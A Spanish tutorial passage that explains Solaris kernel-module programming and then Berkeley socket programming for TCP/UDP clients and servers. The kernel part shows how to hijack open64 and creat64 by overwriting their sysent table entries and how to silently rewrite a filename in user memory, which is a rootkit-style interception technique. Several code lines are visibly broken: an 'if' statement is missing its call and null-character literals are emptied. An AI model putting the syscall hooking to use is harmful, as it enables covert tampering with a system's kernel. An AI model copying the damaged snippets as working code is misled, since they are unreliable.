De esta manera, cada vez que el sistema pida la ejecución de esa syscall, se ejecutará la función que nosotros hemos introducido y no la syscall original. Esto suele emplearse para realizar determinados controles sobre la petición y posteriormente llamar a la función que originariamente realizaba la solicitud de esa syscall para que haga su trabajo normalmente. De forma gráfica el proceso sería tal y como lo muestra la siguiente figura:

Proceso de suplantación de una llamada al sistema.

Analicemos ahora mediante un ejemplo en código cómo se programarían todos estos pasos. De todo lo que hemos comentado hasta ahora se deduce que el lugar idóneo para realizar la suplantación de las peticiones al sistema es en la función _init(), nada más cargarse nuestro módulo, para intentar perder el menor tiempo posible y controlar la situación desde el principio.

int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldcreat64) (const char *path, mode_t mode); 

[...] 

int newopen64(const char *path, int oflag, mode_t mode)
{
 [...]
}

int newcreat64(const char *path, mode_t mode)
{
 [...]
}

int _init(void)
{
	int i; 

	if  != 0)
		cmn_err(CE_NOTE,"Could not install module\n"); 

	oldopen64 = (void *) sysent[SYS_open64].sy_callc;
	oldcreat64 = (void *) sysent[SYS_creat64].sy_callc; 

	sysent[SYS_open64].sy_callc = (void *) newopen64;
	sysent[SYS_creat64].sy_callc = (void *) newcreat64; 

	return i;
}

En este ejemplo el módulo suplanta las syscalls open64() y creat64() de la forma explicada: primeramente guardamos en las funciones oldopen64 y oldcreat64 las funciones que dan servicio a estas syscalls originariamente, para suplantarlas con nuestras nuevas funciones (newopen64 y newcreat64) posteriormente en la tabla de syscalls (sysent).

Áreas de memoria, cómo disponer de memoria en el kernel

Como ya hemos comentado previamente, el espacio de memoria reservado para el kernel está separado del espacio de memoria reservado para los programas de usuario (incluidos los que se ejecutan como superusuario o root). Es por esto que debemos hilar muy fino y no errar al tratar de utilizar contenidos del espacio de memoria de usuario en el kernel y viceversa. Las funciones para reservar memoria también son diferentes dentro del área de memoria del kernel. En lugar de hacer uso de las típicas alloc() o malloc(), dentro del kernel de Solaris deberemos utilizar kmem_alloc():

cadena = (char *) kmem_alloc(tam, KM_SLEEP);

El funcionamiento es muy similar a su función homónima dentro del área de memoria de usuario, con la salvedad del segundo parámetro. Si utilizamos kmem_alloc() con KM_SLEEP como segundo parámetro, estaremos indicando que podemos esperar hasta que realmente haya un bloque de memoria tan grande como el que hayamos pedido. Este es el método más seguro y asegura un éxito en la reserva de memoria a costa de un eventual retardo. Si no queremos esperar, nos arriesgamos a que no se encuentre un bloque tan grande como el que hemos solicitado y algo pueda fallar, sin embargo el retardo es mínimo. En este caso deberemos llamar a kmem_alloc() con el parámetro KM_NOSLEEP. Para el desarrollo de nuestros módulos es aconsejable utilizar KM_SLEEP y asegurar la estabilidad del sistema. En cuanto a la naturaleza del bloque de memoria proporcionado por kmem_alloc() podremos decir que el bloque está alineado como mínimo como double-word y su contenido es aleatorio o no inicializado.

Toda la memoria solicitada deberá ser liberada tras su uso. Como podemos imaginar, las consecuencias de un olvido involuntario serán mucho más graves dentro del kernel. Para liberar memoria utilizaremos la función kmem_free(), indicando el tamaño de bloque que queremos liberar. Hemos de tener mucho cuidado de no liberar más memoria que la que hemos solicitado o de lo contrario estaremos borrando partes esenciales del kernel que pueden afectar a la estabilidad de todo el sistema.

Bien, sabemos cómo reservar memoria dentro del kernel y cómo hacerlo en el espacio de memoria de usuario, pero… ¿cómo podemos hacer transferencias de un espacio de memoria al otro? Algunos módulos del kernel, pobremente programados, utilizan directamente memcpy() para copiar memoria del espacio de memoria de usuario al kernel. Esto funcionaba de manera más o menos aceptable en arquitecturas Solaris 2.7 sobre Intel, pero en Solaris para SPARC provocaba la caída total del sistema. Para realizar una transferencia de información entre los dos espacios de memoria de manera correcta es necesario utilizar las funciones copyin() y copyout(), documentadas dentro de la Interfaz de Drivers de Dispositivos (DDI/DKI).

Un ejemplo práctico del uso de todo esto podría ser el siguiente:

name = (char *) kmem_alloc(256, KM_SLEEP);
copyin(filename, name, 256);
if (!strcmp(name, (char *) oldcmd))
  copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);

Queremos comparar el nombre del fichero solicitado (filename) desde el área de memoria de usuario con una cadena de caracteres residente en el área de memoria del kernel (oldcmd) y en caso de que sean iguales, copiar el contenido de newcmd (dentro del kernel) al área de memoria de usuario (filename).

Existen además otras funciones para transferir datos entre las dos áreas de memoria como por ejemplo copyinstr() que nos sirve para copiar cadenas de caracteres acabadas en null. Para más información acerca de este tipo de funciones y su manejo, es preciso consultar la documentación de Solaris para la creación de drivers para dispositivos o en las páginas de manual de alloc(), copyin() y copyout().

Compilación y uso de un LKM

La compilación de un LKM en Solaris es bastante sencilla, únicamente deberemos definir una serie de opciones de compilación (-D_KERNEL -DSVR4 -DSOL2) indicando que se trata de un módulo de kernel y no de un ejecutable estándar. Además, es preciso enlazar o linkar nuestros módulos con la opción –r para que puedan ser cargados dentro del kernel, de lo contrario en linker del kernel no podrá enlazarlos:

bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o

Dado que el kernel de Solaris no provee a los programadores de módulos tantas facilidades como pueda ofrecer el kernel de Linux u otros kernels (el número de funciones que disponemos “dentro del kernel” en Solaris es muy limitado comparado con Linux), es posible que sea necesario utilizar funciones C standard (libC) que no están en el kernel de Solaris. Para ello utilizaremos el comando ar con objeto de extraer las funciones que necesitemos de la librería libC y posteriormente las linkaremos con nuestro módulo:

bash-2.03# ar –x /lib/libc.a memcpy.o strstr.o
bash-2.03# ld –o quark -r quark.o memcpy.o strstr.o

Si encontráis alguna errata o similar, os agradecería que lo comentarais para corregirlo

Comunicación por red

Muchas de las utilidades que usamos todos los días, como el correo electrónico o los navegadores web, utilizan protocolos de red para comunicarse. En este apartado veremos cómo utilizar esos protocolos, comprenderemos todo lo que rodea a una comunicación a través de los interfaces de red y aprenderemos a programar clientes y servidores sencillos. Breve repaso a las redes TCP/IP

Antes de afrontar la configuración de red de nuestros equipos, vamos a desempolvar nuestras nociones sobre redes TCP/IP. Siempre que se habla de redes de ordenadores, se habla de protocolos. Un protocolo no es más que un acuerdo entre dos entidades para entenderse. Es decir, si yo le digo a un amigo que le dejo una llamada perdida cuando llegue a su portal, para que baje a abrirme, habremos establecido un protocolo de comunicación, por ejemplo.

Los ordenadores funcionan de una forma más o menos parecida. Cuando queremos establecer una conexión entre ordenadores mediante una red, hay muchos factores en juego: primero está el medio físico en el que se producirá la conexión (cable, ondas electromagnéticas, etc.), por otro lado está la tecnología que se utilizará (tarjetas de red Ethernet, modems, etc.), por otro los paquetes de datos que enviaremos, las direcciones o destinos dentro de una red… Dado que hay tantos elementos que intervienen en una comunicación, se establecen protocolos o normas para entidades del mismo nivel, es decir, se divide todo lo que interviene en la comunicación en diferentes capas. En el nivel más bajo de todas las capas estaría el nivel físico: el medio que se va a utilizar, los voltajes utilizados, etc. Sobre esa capa se construye la siguiente, en donde transformamos las señales eléctricas en datos propiamente dichos. Esta sería la capa de enlace de datos. Posteriormente, se van estableciendo una serie de capas intermedias, cada una con mayor refinamiento de la información que maneja, hasta llegar a la capa de aplicación, que es con la que interactúan la mayoría de programas que utilizamos para conectarnos a redes: navegadores, clientes de correo, etc.

Así, por ejemplo, si queremos mandar un correo electrónico a un amigo, utilizaremos la aplicación indicada para mandar un mensaje, en este caso nuestro cliente de correo preferido (mutt, Kmail, mozilla…). El cliente de correo enviará el mensaje al servidor, para que éste lo encamine hasta el buzón de nuestro amigo, pero en ese envío sucederán una serie de pasos que pueden parecernos transparentes en un principio:

• Primeramente se establece una conexión con el servidor, para ello la aplicación (el cliente de correo) enviará a las capas más bajas de protocolos de red una petición al servidor de correo.
• Esa capa, aceptará la petición, y realizará otro encargo a una capa inferior, solicitando enviar un paquete de datos por la red.
• La capa inferior, a su vez, pedirá a la capa física enviar una serie de señales eléctricas por el medio, para hacer su cometido.

Tal y como está enfocada la “pila de protocolos de red”, cada “trabajo” de red complejo se divide en partes cada vez más sencillas hasta llegar a la capa física, que se encargará de la transmisión eléctrica. Es como si el jefe de una empresa de videojuegos mandara a su subdirector que hiciera un juego de acción. El subdirector iría a donde sus subordinados y les pediría un guión, unos gráficos, un motor de animaciones, etc. Los encargados de los gráficos irían a donde sus subordinados y les pedirían, la portada, los decorados, los personajes, etc. Éstos, a su vez, se repartirían en grupos y cada uno haría un trabajo más concreto, y así sucesivamente. Es decir, una idea compleja, se divide en trabajos concretos y sencillos para hacerse, estructurándose en capas.

En el caso específico que nos interesa, la pila de protocolos que utilizamos se denomina TCP/IP, porque dos de sus protocolos principales se llaman TCP (capa de transporte) e IP (capa de red).

Comunicación mediante capas de protocolos de red.

Cuando utilizamos estos protocolos, cada uno de los posibles destinos de una red necesita un nombre diferente o dirección IP. Al igual que sucede con los teléfonos, para diferenciar todos los ordenadores y dispositivos conectados a una red, se les asigna a cada uno un número diferente, y basta con “marcar” ese número para acceder a él. Actualmente esos números van desde el 0 al 4294967296, pero en lugar de utilizar simplemente el número, se emplea una notación más sencilla, separando el número en 4 dígitos del 0 al 255, por ejemplo: 128.244.34.12 ó 192.168.0.1.

En un futuro no muy lejano, las direcciones IP cambiarán su formato, ya que el espacio de direcciones que ofrece la versión actual de IP (IPv4) se está agotando, por lo que habrá que ampliar su rango (al igual que ocurre en ciudades o provincias con mucha demanda de números de teléfono, que amplían la longitud de sus números de teléfono en una o varias cifras).

Siempre que queramos acceder a una red TCP/IP, deberemos tener una dirección IP que nos identifique. Está prohibido viajar sin matrícula por estas carreteras. En nuestras redes privadas, nuestras intranets o pequeñas LANs, la manera de establecer esas direcciones IP la marcamos nosotros mismos (o el administrador de red, en su caso). Es decir, dentro de nuestras organizaciones, somos nosotros los que ponemos los nombres. Esto es lo mismo que lo que sucede en una organización grande, con muchos teléfonos internos y una centralita. El número de extensión de cada teléfono, lo inventamos nosotros mismos, no la compañía telefónica. Cuando queremos salir a una red pública como pueda ser Internet, no podemos inventarnos nuestra dirección IP, deberemos seguir unas normas externas para poder circular por allí. Siguiendo el símil telefónico, si queremos un teléfono accesible por todo el mundo, deberemos solicitar un número válido a la empresa telefónica.

Hasta aquí todo claro: los ordenadores tienen unos números similares a los números de teléfono para identificarse, y cuando queremos comunicarnos con un destino en concreto, sólo tenemos que “marcar” su número, pero… ¿cuándo pedimos una página web a www.linux.org cómo sabe nuestra máquina qué número “marcar”? Buena pregunta, tiene que haber un “listín telefónico” IP, que nos diga que IP corresponde con una dirección específica. Estas “páginas amarillas” de las redes IP se denominan DNS (Domain Name System). Justo antes de hacer la conexión a www.linux.org, nuestro navegador le pregunta la dirección IP al DNS, y luego conecta vía dirección IP con el servidor web www.linux.org.

Una conexión de un ordenador a otro precisa, además de una dirección IP de destino, un número de puerto. Si llamamos por teléfono a un número normalmente preguntamos por alguien en concreto. Llamas a casa de tus padres y preguntas por tu hermano pequeño. Con las comunicaciones telemáticas sucede algo parecido: llamas a una determinada IP y preguntas por un servicio en concreto, por ejemplo el Servicio Web, que tiene reservado el puerto 80. Los servicios reservan puertos y se quedan a la escucha de peticiones para esos puertos. Existen un montón de puertos que típicamente se usan para servicios habituales: el 80 para web, el 20 y 21 para FTP, el 23 para telnet, etc. Son los puertos “bien conocidos” (“well known ports”) y suelen ser puertos reservados, por debajo de 1024. Para aplicaciones extrañas o de ámbito personal se suelen utilizar puertos “altos”, por encima de 1024. El número de puerto lo define un entero de 16 bits, es decir, hay 65535 puertos disponibles. Un servidor o servicio no es más que un programa a la escucha de peticiones en un puerto. Así pues, cuando queramos conectarnos a un ordenador, tendremos que especificar el par “DirecciónIP:Puerto”.

Con esta breve introducción hemos repasado nociones básicas de lo que son protocolos de comunicaciones, la pila de protocolos TCP/IP, el direccionamiento IP, y la resolución de nombres o DNS.

Sockets

Un socket es, como su propio nombre indica, un conector o enchufe. Con él podremos conectarnos a ordenadores remotos o permitir que éstos se conecten al nuestro a través de la red. En realidad un socket no es más que un descriptor de fichero un tanto especial. Recordemos que en UNIX todo es un fichero, así que para enviar y recibir datos por la red, sólo tendremos que escribir y leer en un fichero un poco especial.

Ya hemos visto que para crear un nuevo fichero se usan las llamadas open() o creat(), sin embargo, este nuevo tipo de ficheros se crea de una forma un poco distinta, con la función socket():

int socket(int domain, int type, int protocol);

Una vez creado un socket, se nos devuelve un descriptor de fichero, al igual que ocurría con open() o creat(), y a partir de ahí ya podríamos tratarlo, si quisiéramos, como un fichero normal. Se pueden hacer read() y write() sobre un socket, ya que es un fichero, pero no es lo habitual. Existen funciones específicamente diseñadas para el manejo de sockets, como send() o recv(), que ya iremos viendo más adelante.

Así pues, un socket es un fichero un poco especial, que nos va a servir para realizar una comunicación entre dos procesos. Los sockets que trataremos nosotros son los de la API (Interfaz de Programación de Aplicaciones) de sockets Berkeley, diseñados en la universidad del mismo nombre, y nos centraremos exclusivamente en la programación de clientes y servidores TCP/IP. Dentro de este tipo de sockets, veremos dos tipos:

• Sockets de flujo (TCP).
• Sockets de datagramas (UDP).

Los primeros utilizan el protocolo de transporte TCP, definiendo una comunicación bidireccional, confiable y orientada a la conexión: todo lo que se envíe por un extremo de la comunicación, llegará al otro extremo en el mismo orden y sin errores (existe corrección de errores y retransmisión).

Los sockets de datagramas, en cambio, utilizan el protocolo UDP que no está orientado a la conexión, y es no confiable: si envías un datagrama, puede que llegue en orden o puede que llegue fuera de secuencia. No precisan mantener una conexión abierta, si el destino no recibe el paquete, no ocurre nada especial.

Alguien podría pensar que este tipo de sockets no tiene ninguna utilidad, ya que nadie nos asegura que nuestro tráfico llegue a buen puerto, es decir, podría haber pérdidas de información. Bien, imaginemos el siguiente escenario: el partido del siglo (todos los años hay dos o más, por eso es el partido del siglo), una única televisión en todo el edificio, pero una potente red interna que permite retransmitir el partido digitalizado en cada uno de los ordenadores. Cientos de empleados poniendo cara de contables, pero siguiendo cada lance del encuentro… ¿Qué pasaría si se usaran sockets de flujo? Pues que la calidad de la imagen sería perfecta, con una nitidez asombrosa, pero es posible que para mantener intacta la calidad original haya que retransmitir fotogramas semidefectuosos, reordenar los fotogramas, etc. Existen muchísimas posibilidades de que no se pueda mantener una visibilidad en tiempo real con esa calidad de imagen. ¿Qué pasaría si usáramos sockets de datagramas? Probablemente algunos fotogramas tendrían algún defecto o se perderían, pero todo fluiría en tiempo real, a gran velocidad. Perder un fotograma no es grave (recordemos que cada segundo se suelen emitir 24 fotogramas), pero esperar a un fotograma incorrecto de hace dos minutos que tiene que ser retransmitido, puede ser desesperante (quizá tu veas la secuencia del gol con más nitidez, pero en el ordenador de enfrente hace minutos que lo han festejado). Por esto mismo, es muy normal que las retransmisiones de eventos deportivos o musicales en tiempo real usen sockets de datagramas, donde no se asegura una calidad perfecta, pero la imagen llegará sin grandes saltos y sin demoras por retransmisiones de datos imperfectos o en desorden.

Tipos de datos

Es muy importante conocer las estructuras de datos necesarias a la hora de programar aplicaciones en red. Quizá al principio pueda parecer un tanto caótica la definición de estas estructuras, es fácil pensar en implementaciones más eficientes y más sencillas de comprender, pero debemos darnos cuenta de que la mayoría de estas estructuras son modificaciones de otras existentes, más generales y, sobre todo, que se han convertido en un estándar en la programación en C para UNIX. Por lo tanto, no nos queda más remedio que tratar con ellas.

La siguiente estructura es una struct derivada del tipo sockaddr, pero específica para Internet:

struct sockaddr_in {
	short int sin_family; // = AF_INET
	unsigned short int sin_port;
	struct in_addr sin_addr;
	unisgned char sin_zero[8];
}

A simple vista parece monstruosamente fea. Necesitábamos una estructura que almacenase una dirección IP y un puerto, ¿y alguien diseñó eso? ¿En qué estaba pensando? No desesperemos, ya hemos dicho que esto viene de más atrás. Comentemos poco a poco la estructura:

• sin_family: es un entero corto que indica la “familia de direcciones”, en nuestro caso siempre tendrá el valor “AF_INET”.
• sin_port: entero corto sin signo que indica el número de puerto.
• sin_addr: estructura de tipo in_addr que indica la dirección IP.
• sin_zero: array de 8 bytes rellenados a cero. Simplemente tiene sentido para que el tamaño de esta estructura coincida con el de sockaddr.

La estructura in_addr utilizada en sin_addr tiene la siguiente definición:

struct in_addr {
	unisgned long s_addr;
}

Es decir, un entero largo sin signo.

Además de utilizar las estructuras necesarias, también deberemos emplear los formatos necesarios. En comunicaciones telemáticas entran en juego ordenadores de muy diversas naturalezas, con representaciones diferentes de los datos en memoria. La familia de microprocesadores x86, por ejemplo, guarda los valores numéricos en memoria utilizando la representación “Little-Endian”, es decir, para guardar “12345678”, se almacena así: “78563412”, es decir, el byte de menos peso (“78”) al principio, luego el siguiente (“56”), el siguiente (“34”) y por último, el byte de más peso (“12”). La representación “Big-Endian”, empleada por los microprocesadores Motorola, por ejemplo, guardaría “12345678” así: “12345678”. Si dos ordenadores de estas características compartieran información sin ser unificada, el resultado sería ininteligible para ambas partes. Por ello disponemos de un conjunto de funciones que traducen de el formato local (“host”) al formato de la red (“network”) y viceversa:

uint32_t htonl(uint32_t hostlong);
uint16_t htons(uint16_t hostshort);
uint32_t ntohl(uint32_t netlong);
uint16_t ntohs(uint16_t netshort);

Quizá parezca complicado, pero sus nombres son muy representativos: “h” significa “host”·y “n” significa “network”. Las funciones que acaban en “l” son para enteros largos (“long int”, como los usados en las direcciones IP) y las que acaban en “s” son para enteros cortos (“short int”, como los usados al especificar un número de puerto). Por lo tanto para indicar un número de puerto, por ejemplo, podríamos hacerlo así:

sin_port = htons( 80 );

Es decir, convertimos “80” del formato de nuestro host, al formato de red (“h” to “n”), y como es un “short” usamos htons().

Ya para terminar con los formatos veremos dos funciones más. Normalmente la gente no utiliza enteros largos para representar sus direcciones IP, sino que usan la notación decimal, por ejemplo: 130.206.100.59. Pero como ya hemos visto, in_addr necesita un entero largo para representar la dirección IP. Para poder pasar de una notación a otra tenemos dos funciones a nuestra disposición:

int inet_aton(const char *cp, struct in_addr *inp);
char *inet_ntoa(struct in_addr in);

Los nombres de las funciones también ayudan: inet_aton() traduce de un array (“a”) de chars, es decir, un string, a una dirección de red (“n”, de “network”), mientras que inet_ntoa() traduce de una dirección de red (“n”) a un array de chars (“a”). Veamos un ejemplo de su uso:

struct in_addr mi_addr;

inet_aton( “130.206.100.59”, &(mi_addr) );

printf( “Direccion IP: %s\n”, inet_ntoa( mi_addr ) );

Para terminar este apartado, vamos a ver cómo rellenar una estructura sockaddr_in desde el principio. Imaginemos que queremos preparar la estructura “mi_estructura” para conectarnos al puerto 80 del host “130.206.100.59”. Deberíamos hacer los siguiente:

struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( 80 );
inet_aton( “130.206.100.59”, &(mi_estructura.sin_addr) );
memset( &(mi_estructura.sin_zero), ‘’, 8 );

Como ya sabemos, “sin_family” siempre va a ser “AF_INET”. Para definir “sin_port”, utilizamos htons() con el objeto de poner el puerto en formato de red. La dirección IP la definimos desde el formato decimal a la estructura “sin_addr” con la función inet_aton(), como sabemos. Y por último necesitamos 8 bytes a 0 (“”) en “sin_zero”, cosa que conseguimos utilizando la función memset(). Realmente podría copiarse este fragmento de código y utilizarlo siempre así sin variación:

#define PUERTO 80
#define DIRECCION “130.206.100.59”

struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &(mi_estructura.sin_addr) );
memset( &(mi_estructura.sin_zero), ‘’, 8 );

Funciones necesarias

Una vez conocidos los tipos de datos que emplearemos a la hora de programar nuestras aplicaciones de red, es hora de ver las llamadas que nos proporcionarán la creación de conexiones, envío y recepción de datos, etc.

Lo primero que debemos obtener a la hora de programar una aplicación de red es un socket. Ya hemos explicado que un socket es un conector o enchufe para poder realizar intercomunicaciones entre procesos, y sirve tanto para crear un programa que pone un puerto a la escucha, como para conectarse a un determinado puerto. Un socket es un fichero, como todo en UNIX, por lo que la llamada a la función socket() creará el socket y nos devolverá un descriptor de fichero:

int socket(int domain, int type, int protocol);

De los tres parámetros que recibe, sólo nos interesa fijar uno de ellos: “type”. Deberemos decidir si queremos que sea un socket de flujo (“SOCK_STREAM”)o un socket de datagramas (“SOCK_DGRAM”). El resto de parámetros se pueden fijar a “AF_INET” para el dominio de direcciones, y a “0”, para el protocolo (de esta manera se selecciona el protocolo automáticamente):

mi_socket = socket( AF_INET, SOCK_DGRAM, 0 );

Ya sabemos crear sockets, utilicémoslos para conectarnos a un servidor remoto. Para conectarnos a otro ordenador deberemos utilizar la función connect(), que recibe tres parámetros:

int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);

El primero de ellos es el socket (“sockfd”) que acabamos de crear, el segundo es un puntero a una estructura de tipo sockaddr (“serv_addr”) recientemente explicada (recordemos que sockaddr_in era una estructura sockaddr especialmente diseñada para protocolos de Internet, así que nos sirve aquí), y por último es preciso indicar el tamaño de dicha estructura (“addrlen”).

Veamos un fragmento de código que ponga todo esto en juego:

#define PUERTO 80
#define DIRECCION “130.206.100.59”

int mi_socket, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &(mi_estructura.sin_addr) );
memset( &(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

connect( mi_socket, (struct sockaddr *)&mi_estructura, tam );

Como vemos, lo único que hemos hecho es juntar las pocas cosas vistas hasta ahora. Con ello ya conseguimos establecer una conexión remota con el servidor especificado en las constantes DIRECCION y PUERTO. Sería conveniente comprobar todos los errores posibles que podría provocar este código, como que connect() no logre conectar con el host remoto, que la creación del socket falle, etc.

Para poder enviar y recibir datos existen varias funciones. Ya avanzamos anteriormente que un socket es un descriptor de fichero, así que en teoría sería posible escribir con write() y leer con read(), pero hay funciones mucho más cómodas para hacer esto. Dependiendo si el socket que utilicemos es de tipo socket de flujo o socket de datagramas emplearemos unas funciones u otras:

• Para sockets de flujo: send() y recv().
• Para sockets de datagramas: sendto() y recvfrom().

Los prototipos de estas funciones son los siguientes:

int send(int s, const void *msg, size_t len, int flags); 

int  sendto(int s, const void *msg, size_t len, int flags, const struct sockaddr *to, socklen_t tolen);

int recv(int s, void *buf, size_t len, int flags);

int  recvfrom(int  s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlen);

El parámetro “s” es el socket que emplearemos. Tanto “msg” como “buf” son los buffers que utilizaremos para almacenar el mensaje que queremos enviar o recibir. Posteriormente tenemos que indicar el tamaño de ese buffer, con “len”. En el campo “flags” se pueden indicar varias opciones juntándolas mediante el operador OR, pero funcionará perfectamente si ponemos un 0 (significa no elegir ninguna de esas opciones múltiples). Las funciones para sockets de datagramas incluyen además el puntero a la estructura sockaddr y un puntero a su tamaño, tal y como ocurría con connect(). Esto es así porque una conexión mediante este tipo de socket no requiere hacer un connect() previo, por lo que es necesario indicar la dirección IP y el número de puerto para enviar o recibir los datos. Veamos unos fragmentos de código de ejemplo:

char buf_envio[] = “Hola mundo telematico!\r\n”;
char buf_recepcion[255];
int tam, numbytes;

// aquí creamos el socket mi_socket y
// la estructura mi_estructura, como hemos hecho antes

tam = sizeof( struct sockaddr );

connect( mi_socket, (struct sockaddr *)&mi_estructura, tam );

numbytes = send( mi_socket, buf_envio, strlen( buf_envio ), 0 );
printf( “%d bytes enviados\n”, numbytes );

numbytes = recv( mi_socket, buf_recepcion, 255-1, 0 );
printf( “%d bytes recibidos\n”, numbytes );

Creamos dos buffers, uno para contener el mensaje que queremos enviar, y otro para guardar el mensaje que hemos recibido (de 255 bytes). En la variable “numbytes” guardamos el número de bytes que se han enviado o recibido por el socket. A pesar de que en la llamada a recv() pidamos recibir 254 bytes (el tamaño del buffer menos un byte, para indicar con un “” el fin del string), es posible que recibamos menos, por lo que es muy recomendable guardar el número de bytes en dicha variable. El siguiente código es similar pero para para sockets de datagramas:

char buf_envio[] = “Hola mundo telematico!\r\n”;
char buf_recepcion[255];
int tam, numbytes; 

// aquí creamos el socket mi_socket y
// la estructura mi_estructura, como hemos hecho antes

tam = sizeof( struct sockaddr );

// no es preciso hacer connect()

numbytes = sendto( mi_socket, buf_envio, strlen( buf_envio ), 0,
           (struct sockaddr *)&mi_estructura, tam );
printf( “%d bytes enviados\n”, numbytes );

numbytes = recvfrom( mi_socket, buf_recepcion, 255-1, 0,
           (struct sockaddr *)&mi_estructura, &tam );
printf( “%d bytes recibidos\n”, numbytes );

Las diferencias con el código anterior son bastante fáciles de ver: no hay necesidad de hacer connect(), porque la dirección y puerto los incluimos en la llamada a sendto() y recvfrom(). El puntero a la estructura “mi_estructura” tiene que ser de tipo “sockaddr”, así que hacemos un cast, y el tamaño tiene que indicarse en recvfrom() como un puntero al entero que contiene el tamaño, así que referenciamos la variable “tam”.

Con todo lo visto hasta ahora ya sabemos hacer clientes de red, que se conecten a hosts remotos tanto mediante protocolos orientados a la conexión, como telnet o http, como mediante protocolos no orientados a la conexión ,como tftp o dhcp. El proceso para crear aplicaciones que escuchen un puerto y acepten conexiones requiere comprender el uso de unas cuantas funciones más.

Para crear un servidor de sockets de flujo es necesario realizar una serie de pasos:

1. Crear un socket para aceptar las conexiones, mediante socket().
2. Asociar ese socket a un puerto local, mediante bind().
3. Poner dicho puerto a la escucha, mediante listen().
4. Aceptar las conexiones de los clientes, mediante accept().
5. Procesar dichas conexiones.

La llamada a bind() asocia el socket que acabamos de crear con un puerto local. Cuando un paquete de red llegue a nuestro ordenador, el núcleo del Sistema Operativo verá a qué puerto se dirige y utilizará el socket asociado para encaminar los datos. La llamada a bind() tiene unos parámetros muy poco sorprendentes:

int bind(int sockfd, struct sockaddr *my_addr, socklen_t addrlen);

Es decir, el socket, la estructura que indica la dirección IP y el puerto, y el tamaño de dicha estructura. Un ejemplo del uso de bind():

#define PUERTO 80
#define DIRECCION “130.206.100.59”

int mi_socket, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
inet_aton( DIRECCION, &(mi_estructura.sin_addr) );
memset( &(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

bind( mi_socket, (struct sockaddr *)&mi_estructura, tam );

Si quisiéramos poner a la escucha nuestra propia dirección, sin tener que saber cuál es en concreto, podríamos haber empleado “INADDR_ANY”, y si el puerto que ponemos a la escucha nos da igual, podríamos haber puesto el número de puerto “0”, para que el propio kernel decida cuál darnos:

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = 0;
mi_estructura.sin_addr.s_addr = INADDR_ANY;
memset( &(mi_estructura.sin_zero), ‘’, 8 );

Esta es la única llamada que se requiere para crear un servidor de sockets de datagramas, ya que no están orientados a la conexión. Para crear servidores de sockets de flujo, una vez hayamos asociado el socket al puerto con bind(), deberemos ponerlo a la escucha de peticiones mediante la función listen(). Esta función recibe sólo dos parámetros:

int listen(int s, int backlog);

El primero de ellos es el socket, y el segundo es el número máximo de conexiones a la espera que puede contener la cola de peticiones. Después de poner el puerto a la escucha, aceptamos conexiones pendientes mediante la llamada a la función accept(). Esta función saca de la cola de peticiones una conexión y crea un nuevo socket para tratarla. Recordemos qué sucede cuando llamamos al número de información de Telefónica: marcamos el número (connect()) y como hay alguien atento a coger el teléfono (listen()), se acepta nuestra llamada que pasa a la espera (en función del backlog de listen() puede que nos informen de que todas las líneas están ocupadas). Después de tener que escuchar una horrible sintonía, se nos asigna un telefonista (accept()) que atenderá nuestra llamada. Cuando se nos ha asignado ese telefonista, en realidad estamos hablando ya por otra línea, porque cualquier otra persona puede llamar al número de información de Telefónica y la llamada no daría la señal de comunicando. Nuestro servidor puede aceptar varias peticiones (tantas como indiquemos en el backlog de listen()) y luego cuando aceptemos cada una de ellas, se creará una línea dedicada para esa petición (un nuevo socket por el que hablar). Veamos un ejemplo con todo esto:

#define PUERTO 80

int mi_socket, nuevo, tam;
struct sockaddr_in mi_estructura;

mi_estructura.sin_family = AF_INET;
mi_estructura.sin_port = htons( PUERTO );
mi_estructura.sin_addr.s_addr = INADDR_ANY;
memset( &(mi_estructura.sin_zero), ‘’, 8 );

mi_socket = socket( AF_INET, SOCK_STREAM, 0 );

tam = sizeof( struct sockaddr );

bind( mi_socket, (struct sockaddr *)&mi_estructura, tam );

listen( mi_socket, 5 );

while( 1 ) // bucle infinito para tratar conexiones
{
  nuevo = accept( mi_socket, (struct sockaddr *)&mi_estructura,
           &tam );
  if( fork() == 0 )
  { // hijo
    close( mi_socket ); // El proceso hijo no lo necesita
    send( nuevo, "200 Bienvenido\n", 15, 0);
    close( nuevo );
    exit( 0 );
  } else { // padre
    close( nuevo );  // El proceso padre no lo necesita
  }
}

Lo más extraño de este ejemplo puede ser el bucle “while”, todo lo demás es exactamente igual que en anteriores ejemplos. Veamos ese bucle: lo primero de todo es aceptar una conexión de las que estén pendientes en el backlog de conexiones. La llamada a accept() nos devolverá el nuevo socket creado para atender dicha petición. Creamos un proceso hijo que se encargue de gestionar esa petición mediante fork(). Dentro del hijo cerramos el socket inicial, ya que no lo necesitamos, y enviamos “200 Bienvenido\n” por el socket nuevo. Cuando hayamos terminado de atender al cliente, cerramos el socket con close() y salimos. En el proceso padre cerramos el socket “nuevo”, ya que no lo utilizaremos desde este proceso. Este bucle se ejecuta indefinidamente, ya que nuestro servidor deberá atender las peticiones de conexión indefinidamente.

Ya hemos visto cómo cerrar un socket, utilizando la llamada estándar close(), como con cualquier fichero. Esta función cierra el descriptor de fichero del socket, liberando el socket y denegando cualquier envío o recepción a través del mismo. Si quisiéramos tener más control sobre el cierre del socket podríamos usar la función shutdown():

int shutdown(int s, int how);

En el parámetro “how” indicamos cómo queremos cerrar el socket:

• 0: No se permite recibir más datos.
• 1: No se permite enviar más datos.
• 2: No se permite enviar ni recibir más datos (lo mismo que close()).

